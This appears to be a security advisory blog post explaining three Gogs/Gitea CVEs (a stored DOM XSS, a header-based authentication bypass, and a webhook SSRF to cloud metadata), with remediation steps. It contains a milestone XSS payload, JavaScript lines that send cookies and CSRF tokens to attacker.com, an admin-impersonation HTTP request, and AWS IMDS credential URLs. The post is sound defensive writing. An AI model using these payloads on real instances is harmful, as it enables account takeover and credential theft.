Self-hosted Git platforms sit at a strange intersection of trust and exposure. They hold your source code, your CI/CD secrets, your deployment keys – the kind of assets that, if compromised, give an attacker a complete map of everything you’ve built. And yet they often run with configs that haven’t been reviewed since initial setup, behind a reverse proxy someone set up three years ago, on a Docker image that “just works.”

This week, three CVEs dropped for Gogs and Gitea. One is a stored DOM-based XSS that bypasses Go’s template escaping through a JavaScript UI component. One is a CVSS 9.8 authentication bypass that lets anyone impersonate any user, including admins, with a single HTTP header – no password, no session cookie. And one is an incomplete SSRF fix that opens a path to AWS IMDS credential theft from within Gitea’s own webhook system.

Let’s go through each one carefully, because the technical details here are actually interesting and understanding why they work tells you a lot about where security assumptions quietly break down.

CVE-2026-52807: The DOM XSS That Survived a Patch

Severity: High (7.3 CVSS v3) | Affected: Gogs < 0.14.3, Gitea < 1.22.0 | CWE-79

Background: The Patch That Wasn’t Complete

This one starts with a previous vulnerability, GHSA-vgjm-2cpf-4g7c, which was a DOM-based XSS in Gogs’ milestone selection feature. When that was discovered, the developers patched it by adding a | Sanitize filter to the milestone name rendering in templates/repo/issue/view_content.tmpl. The filter runs input through the bluemonday library, which strips dangerous HTML tags before they reach the browser.

That fix was correct for view_content.tmpl. But there’s a second template that renders milestone names: templates/repo/issue/new_form.tmpl, which handles the “New Issue” creation page. That one didn’t get the same treatment. The patch was applied to the view – not to the form.

This kind of incomplete fix is frustratingly common. The developer who wrote the original patch likely focused on the location where the XSS was demonstrated and applied the sanitizer there. The sister template, which renders the same data in a different context, went unexamined.

How the Attack Actually Works

The exploit chain here involves three separate components interacting in a way that makes each one seem fine in isolation. Walk through it step by step.

Step 1 – Payload storage. An attacker with write access to a repository creates a milestone with a name like:

<img src=x onerror=alert(document.cookie)>

Gogs stores this string in the database without issue. Milestone names don’t get sanitized on write, only on display and as we’re about to see, that display-time sanitization was only applied to one of the two templates.

Step 2 – Server-side rendering in new_form.tmpl. When any user navigates to /issues/new for that repository, Go’s template engine renders the milestone dropdown. The template uses {{.Name}}, which applies Go’s default HTML entity escaping. So the stored payload gets rendered as:

&lt;img src=x onerror=alert(document.cookie)&gt;

At this stage, the browser sees that as harmless text. It’s not HTML, it’s just a string of characters that happen to spell out an HTML tag. Go’s escaping did its job. No XSS yet.

Step 3 – The DOM decodes the text. When the browser parses the HTML and builds the DOM, it processes those HTML entities and stores the decoded string in the element’s textContent property. The textContent of the dropdown option now contains the literal string <img src=x onerror=alert(document.cookie)>. Still not executed. Still just a string sitting in the DOM.

Step 4 – Semantic UI re-injects it as HTML. This is where it goes wrong.

The milestone dropdown is powered by Semantic UI 2.4.2. When a user clicks the dropdown and selects a milestone, Semantic UI’s internal set.text() method is called to update the visible selected item. That method uses jQuery’s .html() function to set the content of the selected element and it passes the decoded text content of the dropdown option as the argument.

The key detail: preserveHTML is set to true by default in Semantic UI 2.4.2. This tells the component to treat the text of dropdown items as HTML when re-rendering. So jQuery’s .html() receives the string <img src=x onerror=alert(document.cookie)>, parses it as HTML, creates an img element in the DOM, and since src=x fails to load, the onerror handler fires.

The payload executes in the context of the victim’s browser session.

Why This Is a Stored, Not Reflected, XSS

The distinction matters. The payload isn’t in the URL, it isn’t in a form field that reflects immediately back – it’s sitting in the database as a milestone name. Every user who visits the new issue page for that repository and interacts with the milestone dropdown will trigger it. The attacker doesn’t need to trick anyone into clicking a suspicious link. They just need to wait.

This is also why “any user with write access” is such a broad threat surface. In most team repositories, write access is fairly common. External contributors, junior developers, people added temporarily for a single PR – any of them can plant this.

What Gets Stolen

When the onerror handler fires, it runs JavaScript with the permissions of the current user’s browser session. The typical exploitation path for this class of vulnerability:

Session cookie theft:

new Image().src = 'https://attacker.com/log?c=' + encodeURIComponent(document.cookie);

If the session cookie isn’t flagged HttpOnly, this exfiltrates it immediately. The attacker can replay the cookie to impersonate the victim entirely.

CSRF token extraction:

fetch('/issues/new').then(r=>r.text()).then(html=>{
let token = html.match(/name="_csrf" value="([^"]+)"/)[1];
new Image().src = 'https://attacker.com/log?t=' + token;
});

With a valid CSRF token, the attacker can make authenticated state-changing requests – create issues, modify settings, push to repos – all masquerading as the victim.

Privilege escalation via admin accounts: If an admin visits the new issue page and clicks the milestone dropdown, the attacker now has a CSRF token or session cookie with admin-level access. From there: adding SSH keys, changing repository visibility, modifying webhook endpoints to exfiltrate future code pushes. The usual path to full instance compromise.

The Fix

Gogs 0.14.3 applies the same | Sanitize filter to milestone name rendering in new_form.tmpl that was already in view_content.tmpl. The bluemonday call strips the HTML payload before it ever reaches the browser’s DOM, regardless of what Semantic UI does with it afterward.

If you can’t upgrade immediately, the manual backport is to locate the milestone name rendering in templates/repo/issue/new_form.tmpl and add the | Sanitize pipe:

- {{.Name}}
+ {{.Name | Sanitize}}

That’s the fix. One template, one pipe filter.

For Gitea: upgrade to 1.22.0 or later.

CVE-2026-20896: CVSS 9.8 – Anyone Can Be Anyone

Severity: Critical (9.8 CVSS) | Affected: Gitea Docker images, all versions up to 1.26.2 | GHSA-f75j-4cw6-rmx4

How Reverse Proxy Authentication Is Supposed to Work

Gitea supports a feature called reverse proxy authentication. The idea is that your upstream proxy (nginx, Caddy, Traefik, whatever) handles authentication and then passes the authenticated username to Gitea via a trusted HTTP header which is by default X-WEBAUTH-USER. Gitea sees that header, looks up the user, and logs them in without asking for a password.

This is a legitimate and useful pattern. SSO integrations often work this way. Your identity provider authenticates the user, the proxy gets the verified identity, the proxy passes it downstream.

The critical word in that model is trusted. The header is only meaningful if it comes from a proxy that actually performed authentication. If anyone on the internet can set that header in their request directly to Gitea, the entire scheme collapses into a universal authentication bypass.

Gitea has a configuration parameter for this: REVERSE_PROXY_TRUSTED_PROXIES. It defines which source IPs are trusted to send the X-WEBAUTH-USER header. The default value in standard deployments is 127.0.0.0/8,::1/128 – loopback only. Only requests from localhost are trusted. This is the correct default.

The Configuration Error in Official Docker Images

The Docker images shipped by the Gitea project set REVERSE_PROXY_TRUSTED_PROXIES = * in their default configuration template. The wildcard trusts every IP address.

Combine that with any deployment where ENABLE_REVERSE_PROXY_AUTHENTICATION = true and the exploit is trivial:

GET /user/settings HTTP/1.1
Host: gitea.example.com
X-WEBAUTH-USER: admin

That’s it. No password. No session cookie. No brute force. One HTTP request with a crafted header, and you’re authenticated as any user you name including the administrator account.

The attack doesn’t require knowing anything about the target’s password policy, 2FA setup, or account lockout behavior. It bypasses all of that entirely. The authentication subsystem is simply skipped.

FOFA Exposure: The Scale of the Problem

FOFA query app="Gitea" returns over 244,500 results from internet-facing Gitea instances as of this writing. Not all of them are running Docker images, and not all Docker-based deployments have reverse proxy authentication enabled. But the number of potentially affected instances is large enough to make this worth a high-priority response if you’re running Gitea in a Docker container with any reverse proxy authentication configuration.

The advisory GHSA-f75j-4cw6-rmx4 confirms that environments built from source using the standard sample configuration file are not affected – the vulnerable default only exists in the Docker image template.

Exploitation Scenarios

Scenario 1 – Admin account takeover. An attacker who knows or guesses the admin username (often just “admin”, “gitea”, or something visible from the public “Explore” page) sends a single request with X-WEBAUTH-USER: admin. They’re now authenticated as the administrator.

From there: adding their own SSH key, disabling 2FA for legitimate accounts, exporting private repositories, modifying webhook URLs to redirect CI/CD secrets to an attacker-controlled server, adding organization members.

Scenario 2 – Account creation via auto-registration. If ENABLE_REVERSE_PROXY_AUTO_REGISTRATION = true (which enables automatic account creation for users not yet in the system), an attacker can create arbitrary accounts by naming any username in the header. No email verification, no admin approval. They walk in, create an account for themselves with whatever username they want, and start operating as a legitimate-looking user.

Scenario 3 – Internal instance access. Not every Gitea instance is directly internet-facing. Some are on internal networks accessible only via VPN. But for those that are publicly accessible – especially development environments and CI/CD systems that sometimes get deployed with “temporary” public access that becomes permanent – the impact is immediate and total.

The Fix

Gitea 1.26.3 makes reverse proxy authentication opt-in and admin-configured rather than trusting a wildcard by default. The REVERSE_PROXY_TRUSTED_PROXIES setting in Docker images is no longer *.

For immediate manual remediation on existing deployments:

  1. In app.ini, locate the [service] section and verify REVERSE_PROXY_TRUSTED_PROXIES. If it’s set to *, restrict it to the actual IP or CIDR of your reverse proxy: REVERSE_PROXY_TRUSTED_PROXIES = 172.18.0.0/24
  2. If you’re not using reverse proxy authentication at all, ensure ENABLE_REVERSE_PROXY_AUTHENTICATION = false (the default when not configured).
  3. Check whether ENABLE_REVERSE_PROXY_AUTO_REGISTRATION is enabled. If it is and you don’t explicitly need it, disable it.

The upstream documentation’s stated default for REVERSE_PROXY_TRUSTED_PROXIES is 127.0.0.0/8,::1/128. If your Docker deployment shows anything else, treat it as a misconfiguration that needs immediate correction.

CVE-2026-22874: The SSRF That Leads to Your Cloud Credentials

Severity: High (9.6 CVSS) | Affected: Gitea <= 1.26.2 | Fixed in: 1.26.3**

What the Webhook SSRF Protection Was Supposed to Do

Gitea’s webhook feature lets repository administrators configure HTTP callbacks – when someone pushes code, opens a PR, or creates an issue, Gitea fires an HTTP request to a configured endpoint. It’s a core CI/CD integration feature used constantly.

The problem with webhook features is that they let authenticated users tell the server to make HTTP requests to arbitrary URLs. “Send this payload to https://my-ci-system.example.com&#8221; is the intended use. “Send this payload to http://169.254.169.254/latest/meta-data/iam/security-credentials/&#8221; is what you’re trying to prevent.

Gitea implemented an allowlist filter for webhook destinations to block requests to internal IP ranges. The filter relies on Go standard library functions to classify IP addresses as private or reserved. Legitimate SSRF protection in theory.

But Go’s standard library net package doesn’t classify all internal IP ranges the same way. Specifically, it doesn’t treat the RFC 6598 Carrier-Grade NAT range (100.64.0.0/10) as a private address in the same way it treats RFC 1918 space (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some link-local and other special-purpose ranges may also escape the filter depending on implementation specifics.

This is a recurring class of SSRF bypass. Almost every server-side allowlist that tries to classify IPs as “internal” or “external” eventually misses something. The Go standard library approach is not wrong per se – it’s just not comprehensive enough for security-critical filtering.

Why 100.64.0.0/10 Matters

The RFC 6598 CGNAT range (100.64.0.0/10, covering 100.64.0.0 through 100.127.255.255) is reserved for use by carrier-grade NAT devices. It’s not supposed to be routable on the public internet, but it appears as a valid range in several internal infrastructure configurations.

Notably, Tailscale – an increasingly common corporate VPN solution uses the 100.x.x.x address space for its mesh network by default. An internal Gitea instance that’s reachable via Tailscale, where the VPN assigns addresses in the CGNAT range, would have internal services accessible at addresses like 100.64.x.x. If Gitea’s SSRF filter doesn’t block that range, an authenticated attacker can reach those services through the webhook feature.

This is exactly the kind of gap that bypasses “we block RFC 1918 addresses” protections. The attacker doesn’t need to use 10.x.x.x or 192.168.x.x. They use an address in a range the filter doesn’t recognize as internal.

The AWS IMDS Attack Path

For Gitea instances running on AWS EC2 (or ECS, or any compute service where the instance metadata endpoint is accessible), CVE-2026-22874 becomes a cloud credential theft path.

The AWS Instance Metadata Service is accessible at 169.254.169.254 – a link-local address. The question is whether Gitea’s SSRF filter blocks link-local addresses. If the filter is using Go’s IsLoopback, IsMulticast, or IsUnspecified checks without explicitly including link-local ranges, 169.254.x.x may pass through.

Assuming the filter gap allows it, an authenticated Gitea user can create a webhook pointing to:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

When Gitea fires the webhook, it sends an HTTP request to the metadata service from the instance’s localhost. The metadata service responds with the IAM role name attached to the instance. The attacker reads that response from Gitea’s webhook delivery history page.

Then they fire a second request:

http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-role

The response contains AccessKeyId, SecretAccessKey, and SessionToken – temporary IAM credentials valid for several hours. With those credentials, the attacker can interact with any AWS service the EC2 instance role has permissions for. Depending on how broadly the role is scoped (and roles are frequently over-permissioned), that could mean S3 bucket access, Secrets Manager reads, ECR image pulls, or arbitrary API calls across the AWS account.

For the Azure equivalent, the target is the WireServer (168.63.129.16), which provides access to extension configuration and potentially VM identity credentials. GCP’s metadata endpoint lives at 169.254.169.254 as well, with a slightly different API path.

Why Webhook History Exposure Is a Second Problem

The detail that response bodies are readable from the webhook history screen makes this much more exploitable than a blind SSRF. Blind SSRF (where the attacker can tell a request succeeded or failed but can’t read the response) requires side-channel inference – timing differences, DNS callbacks, response size differences. Useful, but slow.

When the response body is returned to the attacker through the webhook history interface, this is a full-response SSRF. The attacker reads the metadata service response the same way they’d read any webhook delivery log. It’s just output. No side-channel inference needed.

The Fix

Gitea 1.26.3 tightens the default allowlist filter to explicitly cover IP ranges the Go standard library doesn’t classify as private. This includes expanding the blocked ranges to catch CGNAT space and any other internal ranges the previous filter left unaddressed.

Additionally, HTTP redirects during repository migration clones are now blocked (a separate but related issue that could be used to chain SSRF through open redirects). That fix went into 1.26.3 as well.

For manual hardening on existing instances:

Check whether you have egress filtering at the network level that blocks requests to 169.254.169.254 and 168.63.129.16. On AWS, you can block IMDS access at the instance level (not just rely on application-level filtering) by using the instance metadata service’s own controls – specifically enforcing IMDSv2, which requires a session token that an SSRF can’t easily obtain through a webhook chain.

Putting It Together: Three Vulnerabilities, One Target Surface

These three CVEs hit the same platform from very different angles, but they share a common theme: security assumptions that held in one context silently broke in another.

The DOM XSS (CVE-2026-52807) happened because a developer patched one template and didn’t realize the same data was rendered in a second template. The escaping worked – Go’s HTML entity encoding did exactly what it was supposed to do. But Semantic UI’s preserveHTML behavior re-introduced the payload after the escaping had already fired.

The authentication bypass (CVE-2026-20896) happened because the secure default (127.0.0.0/8,::1/128) was overridden in the Docker image template, probably for convenience during container networking scenarios where the proxy isn’t always at loopback. The security documentation says one thing; the Docker image ships something else.

The SSRF (CVE-2026-22874) happened because the allowlist logic relied on Go’s standard library IP classification, which covers RFC 1918 space but not every reserved range. The intent to block internal addresses was correct. The implementation had gaps.

The lesson isn’t that these developers were careless. It’s that security boundaries erode at the interfaces between components: between a template engine and a UI library, between documentation and a container image default, between a language’s standard library and a complete model of IP address space.

What You Should Do Right Now

If you’re running Gogs: Upgrade to 0.14.3. If you can’t, apply the one-line template fix to new_form.tmpl. Review whether any repository you host has milestones with suspicious names – if the XSS was already planted before you patch, the sanitize filter won’t clean up existing data automatically.

If you’re running Gitea via Docker: Upgrade to 1.26.3. Before upgrading, check your app.ini for REVERSE_PROXY_TRUSTED_PROXIES. If it’s set to * and you have reverse proxy authentication enabled, you’re exposed right now. Restrict it to your proxy’s actual IP or disable reverse proxy authentication entirely if you don’t use it.

For the SSRF: Upgrade to 1.26.3, and don’t rely on application-level filtering as your only SSRF defense. Put network-level egress controls in place that block requests to 169.254.169.254 from your Gitea instance. On AWS, enforce IMDSv2 with HttpTokens=required and set HttpPutResponseHopLimit=1 (or 2 for containers) to limit IMDS access to the instance itself. On Azure, restrict WireServer access at the network level.

For all three: Check whether ENABLE_REVERSE_PROXY_AUTO_REGISTRATION is enabled and disabled if not explicitly needed. Check your webhook delivery logs for any requests to internal IP ranges or metadata endpoints. Rotate any credentials that the Gitea instance had access to if you suspect the SSRF was exploited.

No confirmed in-the-wild exploitation has been reported as of this writing. But CVE-2026-20896 in particular – a CVSS 9.8 with a one-header PoC – has the profile of something that gets weaponized fast.

CVE-2026-52807 is fixed in Gogs 0.14.3 and Gitea 1.22.0. CVE-2026-20896 and CVE-2026-22874 are fixed in Gitea 1.26.3.

This post first appeared at - The CyberSec Guru